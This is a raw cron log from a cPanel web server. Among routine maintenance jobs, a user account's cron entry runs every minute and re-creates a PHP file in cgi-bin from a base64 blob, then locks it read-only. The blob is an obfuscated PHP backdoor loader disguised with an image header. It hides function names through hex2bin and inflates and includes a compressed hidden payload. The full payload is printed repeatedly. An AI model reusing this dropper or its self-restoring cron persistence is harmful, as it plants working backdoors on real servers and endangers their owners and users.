Sep 12 21:42:01 server CROND[8250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:42:01 server CROND[8252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:42:01 server CROND[8251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:43:01 server CROND[8631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:43:01 server CROND[8632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:43:01 server CROND[8633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:44:01 server CROND[9099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:44:01 server CROND[9100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:44:01 server CROND[9101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:45:01 server CROND[9488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:45:01 server CROND[9494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:45:01 server CROND[9498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:45:01 server CROND[9500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:45:01 server CROND[9502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:45:01 server CROND[9501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:45:01 server CROND[9499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:46:01 server CROND[10374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:46:01 server CROND[10375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:46:01 server CROND[10376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:47:01 server CROND[10758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:47:01 server CROND[10759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:47:01 server CROND[10760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:48:01 server CROND[11152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:48:01 server CROND[11154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:48:01 server CROND[11153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:49:01 server CROND[11629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:49:01 server CROND[11628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:49:01 server CROND[11630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:50:01 server CROND[12030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:50:01 server CROND[12033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:50:01 server CROND[12034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:50:01 server CROND[12037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:50:01 server CROND[12040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:50:01 server CROND[12039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:50:01 server CROND[12036]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:50:01 server CROND[12045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:50:01 server CROND[12042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:51:01 server CROND[12915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:51:01 server CROND[12916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:51:01 server CROND[12917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:52:01 server CROND[13298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:52:01 server CROND[13299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:52:01 server CROND[13300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:53:01 server CROND[13682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:53:01 server CROND[13683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:53:01 server CROND[13684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
